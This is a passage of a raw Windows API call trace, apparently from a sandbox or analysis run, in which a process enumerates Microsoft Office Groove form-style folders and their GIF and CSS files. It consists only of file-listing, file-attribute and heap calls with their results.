dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.817] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x143, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="")) returned 1 [0078.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.817] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.817] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c76d8 [0078.818] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac25d0 [0078.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11cc8b0 [0078.818] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.818] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="button.gif", cAlternateFileName="")) returned 1 [0078.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.818] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.818] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac25f0 [0078.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11cc9b8 [0078.819] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.819] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="tab_off.gif", cAlternateFileName="")) returned 1 [0078.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.819] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.819] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2610 [0078.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11ccac0 [0078.820] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.820] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="tab_on.gif", cAlternateFileName="")) returned 1 [0078.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.820] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.820] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2630 [0078.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11ccbc8 [0078.820] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.820] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="tab_on.gif", cAlternateFileName="")) returned 0 [0078.820] GetLastError () returned 0x12 [0078.820] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e9140 [0078.821] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0078.821] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.821] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x143, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="")) returned 1 [0078.821] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="button.gif", cAlternateFileName="")) returned 1 [0078.821] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="tab_off.gif", cAlternateFileName="")) returned 1 [0078.821] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="tab_on.gif", cAlternateFileName="")) returned 1 [0078.821] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="tab_on.gif", cAlternateFileName="")) returned 0 [0078.821] GetLastError () returned 0x12 [0078.821] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c77e0) returned 1 [0078.821] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0078.821] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c76d8) returned 1 [0078.821] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c75d0) returned 1 [0078.821] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a87c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightOrange.css", cAlternateFileName="")) returned 1 [0078.821] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightYellow", cAlternateFileName="")) returned 1 [0078.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c75d0 [0078.822] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow"), fInfoLevelId=0x0, lpFileInformation=0x119e370 | out: lpFileInformation=0x119e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0078.823] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119e3b4, lpLastWriteTime=0x119e3b4) returned 0 [0078.823] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb2b8 [0078.823] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119e40c, lpOverlapped=0x0 | out: lpOutBuffer=0xacb2b8, lpBytesReturned=0x119e40c, lpOverlapped=0x0) returned 0 [0078.823] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0078.823] NtClose (Handle=0x170) returned 0x0 [0078.823] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c75d0) returned 1 [0078.823] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.823] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.823] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c75d0 [0078.824] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.824] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c76d8 [0078.824] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e9140 [0078.824] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.824] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16f, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0078.824] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.824] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.824] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.824] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.824] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.824] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c77e0 [0078.825] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2650 [0078.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11cccd0 [0078.825] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.825] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.825] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.825] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.825] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.826] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.826] GetLastError () returned 0x12 [0078.826] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e91c0 [0078.826] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0078.826] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.826] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16f, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0078.826] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.826] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.826] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.826] GetLastError () returned 0x12 [0078.826] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c76d8) returned 1 [0078.826] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0078.826] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c77e0) returned 1 [0078.826] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c75d0) returned 1 [0078.826] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a87c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xcb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightYellow.css", cAlternateFileName="")) returned 1 [0078.826] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Casual.css", cAlternateFileName="")) returned 1 [0078.826] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x604d91d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x373, dwReserved0=0x0, dwReserved1=0x0, cFileName="Country.css", cAlternateFileName="")) returned 1 [0078.826] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desert", cAlternateFileName="")) returned 1 [0078.827] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert"), fInfoLevelId=0x0, lpFileInformation=0x119e370 | out: lpFileInformation=0x119e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0078.828] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119e3b4, lpLastWriteTime=0x119e3b4) returned 0 [0078.828] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb2b8 [0078.828] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119e40c, lpOverlapped=0x0 | out: lpOutBuffer=0xacb2b8, lpBytesReturned=0x119e40c, lpOverlapped=0x0) returned 0 [0078.828] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0078.828] NtClose (Handle=0x180) returned 0x0 [0078.828] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c75d0) returned 1 [0078.828] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.828] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.828] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c75d0 [0078.828] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.828] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c77e0 [0078.828] FindFirstFileExW (in: lpFileName="C:\\Program 